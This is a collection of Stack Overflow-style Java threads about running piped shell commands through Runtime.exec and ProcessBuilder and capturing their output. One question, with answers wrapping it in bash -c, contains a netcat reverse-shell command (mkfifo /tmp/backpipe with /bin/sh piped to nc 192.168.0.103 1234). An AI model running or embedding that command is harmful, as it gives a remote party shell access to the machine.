I have written a code to execute a command on shell through Java:
String filename="/home/abhijeet/sample.txt";
Process contigcount_p;
String command_to_count="grep \">\" "+filename+" | wc -l";
System.out.println("command for counting contigs "+command_to_count);
contigcount_p=Runtime.getRuntime().exec(command_to_count);
contigcount_p.wait();
As pipe symbols were being used so I was not able to execute command successfully.As per my last question's discussion i have wrapped my variables in shell:
Runtime.getRuntime().exec(new String[]{"sh", "-c", "grep \">\" "+filename+" | wc -l"});
Which worked for me as it does executes command on shell , but still when i try to read its output using buffered reader :
BufferedReader reader =
new BufferedReader(new InputStreamReader(contigcount_p.getInputStream()));
String line=" ";
while((line=reader.readLine())!=null)
{
output.append(line+"\n");
}
It returns a null value ,I have found a temporary solution for it as i have discussed on previous question: link, but i would like to use right way of doing it by reading it's output using BufferedReader.
When I used your command line of {"sh", "-c", "grep \">\" "+filename+" | wc -l"} it kept overriding my file
I had to change it so that the quotes were double quoted, {"sh", "-c", "grep \"\">\"\" "+filename+" | wc -l"}
So, using this as the contents of my test file...
>
>
>
Not a new line >
And using this code...
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class TestProcess {
public static void main(String[] args) {
String filename = "test.tx";
String test = "grep \"\">\"\" "+filename+" | wc -l";
System.out.println(test);
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", test);
pb.redirectError();
Process p = pb.start();
new Thread(new Consumer(p.getInputStream())).start();
int ec = p.waitFor();
System.out.println("ec: " + ec);
} catch (IOException | InterruptedException exp) {
exp.printStackTrace();
}
}
public static class Consumer implements Runnable {
private InputStream is;
public Consumer(InputStream is) {
this.is = is;
}
#Override
public void run() {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(is))){
String value = null;
while ((value = reader.readLine()) != null) {
System.out.println(value);
}
} catch (IOException exp) {
exp.printStackTrace();
}
}
}
}
I was able to produce this output...
grep "">"" test.tx | wc -l
4
ec: 0
Generally, when dealing with external processes, it's usually easier to use a ProcessBuilder, it has some nice options, including redirecting the error/stdout and setting the execution context directory...
Related
String str;
Process p;
try {
String command = "wmctrl -l|awk '{$1=\"\"; $2=\"\"; $3=\"\"; print}'";
p = Runtime.getRuntime().exec(command);
BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));
while ((str = br.readLine()) != null) {
activeWindowtitles.add(str);
System.out.println(str);
}
p.waitFor();
p.destroy();
} catch (Exception ex) {
}
I am writing a java code to get all applications name in Linux system. I found a command to achieve this. I ran this command in Terminal and it works fine. But it is not working in Java code as i want only applications name instead of other details. The command is "wmctrl -l | awk '{$1=""; $2=""; $3=""; print}'"
I am getting full output after executing this in java code.
Please tell me how to write this command properly..
Thanks
Personally I would put the wmctrl command in a script and do something like this:
public static List<String> getRunningApps(String executablePath) throws IOException, InterruptedException {
final String ERR_LOG_PATH = "stderr.log";
List<String> result = new ArrayList<>();
ProcessBuilder pb = new ProcessBuilder(executablePath);
pb.redirectError(new File(ERR_LOG_PATH));
Process p = pb.start();
int exitCode = p.waitFor();
if (exitCode != 0) {
throw new RuntimeException(String.format("Error get apps. Check error log %s%n", ERR_LOG_PATH));
}
try (Scanner s = new Scanner(p.getInputStream())) {
while (s.hasNextLine()) {
result.add(s.nextLine().trim());
}
}
return result;
}
That way you can tweak it more easily and keep your code cleaner. The script I used was:
#!/bin/bash
wmctrl -l | awk '{$1=""; $2=""; $3=""; print}'
I googled and checked the SO if there is any code to find PID of any other process.
There is a solution to create a shell script with the command "ps -eaf | grep myprocess" in it and executing that script from java.
But I want to execute using java ProcessBuilder or Runtime methods. Below is the code that I have tried which is not giving me null as output.
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String command = "ps -ef | grep myProcess";
try {
// p = new ProcessBuilder(command).start();
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
The output for the command is :
java TestShellCommand
The input stream is null.
{sdc#ip-172-31-32-49}[26] echo $?
0
Please let me know if there is any error in my code as when I search manually from shell i do get the expected output as below:
ps -ef | grep myProcess
root 7433 1 0 10:33 ? 00:00:00 myProcess hello
sdc 19894 14130 0 11:24 pts/7 00:00:00 grep myProcess
[UPDATED CODE - Without the grep command]
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String [] command = {"ps", "-eaf"};
try {
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
// Then code to find by process name by using string methods ...
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
I have added the code that is working, when I am passing command as:
new String[]{"/bin/sh","-c", "ps -eaf | grep "+ "myProcess" +" | grep -v grep"} - Empty response.
new String[] {"ps", "-eaf", "grep -m 1 myProcess", "awk -F ' ' '{print $2}' "} - Empty response.
Thanks in advance for any leads.
As #Slimo answer indicates you must launch a shell to execute a shell command (the pipe), and read the error stream to determine what may have gone wrong.
Launching subprocess without using waitFor() or consuming stdout and stderr at SAME time can lead to issues, use file redirect or as in this example merge stderr -> stdout and read one stream only:
String procname = "myProcess";
String[] cmd = new String[]{"bash","-c", "ps -eaf | grep "+procname+" | grep -v grep"}
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
process.getInputStream().transferTo(System.out);
int rc = process.waitFor();
if (rc != 0)
throw new RuntimeException("Failed rc="+rc+" cmd="+Arrays.toString(cmd));
In later JDK you don't need ProcessBuilder, you may find all the process attributes in the data-structures returned by ProcessHandle:
ProcessHandle.allProcesses()
.filter(ph -> ph.info().command().isPresent() && ph.info().command().get().contains(procname))
.forEach(ph -> System.out.println("PID: "+ph.pid()+" command: "+ph.info().command()))
Your problem is that you are trying to use the pipe in your command, so you need a shell to execute it. You can use the following command:
p = new ProcessBuilder("/bin/sh", "-c", "ps -aux | grep myProcess").start();
You can read more here: Using Java ProcessBuilder to Execute a Piped Command
To test it, I started top in a shell and run the command with it as the grep pattern. Here is the output I got:
<edited> 139890 0.4 0.0 23640 4376 pts/0 S+ 16:05 0:00 top
<edited> 139945 0.0 0.0 20996 3448 ? S 16:06 0:00 /bin/bash -c ps -aux | grep top
<edited> 139947 0.0 0.0 20536 2776 ? S 16:06 0:00 grep top
Based on your comment, I suggest you first run the commands in a shell to see the output and check to see if it matches that from the Java program. I guess myProcess is only a placeholder for the actual process to check.
One thing which I noticed is that when running htop from a snap, and using the above code to grep after htop will return answers like in your comment, but grepping by top will include the actual process. I also checked with gedit and it looks like grep with gedit returns like in your case, but using only edit will return the actual process. Not sure what is the problem in this case.
I have a simple program that runs the echo command with ProcessBuilder, and the program works perfectly fine on my Linux machine, but it throws an IOException when running on Windows.
This is a simplified version of my program. It takes echo and hello as arguments for ProcessBuilder, and then saves the output into a string and prints the output. In Linux, the output is hello, and in Windows an IOException is caught.
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class TestPB {
public static void main(String[] args) throws InterruptedException {
ProcessBuilder pb = new ProcessBuilder("echo", "hello");
try {
Process process = pb.start();
BufferedReader readProcessOutput = new BufferedReader(new InputStreamReader(process.getInputStream()));
String output = "";
String line = "";
while ( (line = readProcessOutput.readLine()) != null) {
output += line;
output += System.getProperty("line.separator");
}
process.waitFor();
if(output.length() > 0) {
System.out.println(output.substring(0, output.length() -1));
} else {
System.out.println("No result");
}
} catch (IOException io) {
System.out.println("IOException thrown");
}
}
}
Does anyone know why this is not working in Windows?
echo is not a program on Windows, it's an internal shell command*, so you need to invoke the command-line interpreter:
ProcessBuilder pb = new ProcessBuilder("cmd.exe", "/c", "echo", "hello");
*) Reference: Wikipedia
I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
where myStr is the entire command above that I want to execute ?
Things I have already tried :
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
gives me the error :
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
It runs like a charm, but not through the runtime.exec().
Try to use ProcessBuilder instead of Runtime.
Try this one:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd is the variable which holds your shell command.
Update:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};
I am trying to execute some Linux commands from Java using redirection (>&) and pipes (|). How can Java invoke csh or bash commands?
I tried to use this:
Process p = Runtime.getRuntime().exec("shell command");
But it's not compatible with redirections or pipes.
exec does not execute a command in your shell
try
Process p = Runtime.getRuntime().exec(new String[]{"csh","-c","cat /home/narek/pk.txt"});
instead.
EDIT::
I don't have csh on my system so I used bash instead. The following worked for me
Process p = Runtime.getRuntime().exec(new String[]{"bash","-c","ls /home/XXX"});
Use ProcessBuilder to separate commands and arguments instead of spaces. This should work regardless of shell used:
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Test {
public static void main(final String[] args) throws IOException, InterruptedException {
//Build command
List<String> commands = new ArrayList<String>();
commands.add("/bin/cat");
//Add arguments
commands.add("/home/narek/pk.txt");
System.out.println(commands);
//Run macro on target
ProcessBuilder pb = new ProcessBuilder(commands);
pb.directory(new File("/home/narek"));
pb.redirectErrorStream(true);
Process process = pb.start();
//Read output
StringBuilder out = new StringBuilder();
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null, previous = null;
while ((line = br.readLine()) != null)
if (!line.equals(previous)) {
previous = line;
out.append(line).append('\n');
System.out.println(line);
}
//Check result
if (process.waitFor() == 0) {
System.out.println("Success!");
System.exit(0);
}
//Abnormal termination: Log command parameters and output and throw ExecutionException
System.err.println(commands);
System.err.println(out.toString());
System.exit(1);
}
}
Building on #Tim's example to make a self-contained method:
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.util.ArrayList;
public class Shell {
/** Returns null if it failed for some reason.
*/
public static ArrayList<String> command(final String cmdline,
final String directory) {
try {
Process process =
new ProcessBuilder(new String[] {"bash", "-c", cmdline})
.redirectErrorStream(true)
.directory(new File(directory))
.start();
ArrayList<String> output = new ArrayList<String>();
BufferedReader br = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line = null;
while ( (line = br.readLine()) != null )
output.add(line);
//There should really be a timeout here.
if (0 != process.waitFor())
return null;
return output;
} catch (Exception e) {
//Warning: doing this is no good in high quality applications.
//Instead, present appropriate error messages to the user.
//But it's perfectly fine for prototyping.
return null;
}
}
public static void main(String[] args) {
test("which bash");
test("find . -type f -printf '%T#\\\\t%p\\\\n' "
+ "| sort -n | cut -f 2- | "
+ "sed -e 's/ /\\\\\\\\ /g' | xargs ls -halt");
}
static void test(String cmdline) {
ArrayList<String> output = command(cmdline, ".");
if (null == output)
System.out.println("\n\n\t\tCOMMAND FAILED: " + cmdline);
else
for (String line : output)
System.out.println(line);
}
}
(The test example is a command that lists all files in a directory and its subdirectories, recursively, in chronological order.)
By the way, if somebody can tell me why I need four and eight backslashes there, instead of two and four, I can learn something. There is one more level of unescaping happening than what I am counting.
Edit: Just tried this same code on Linux, and there it turns out that I need half as many backslashes in the test command! (That is: the expected number of two and four.) Now it's no longer just weird, it's a portability problem.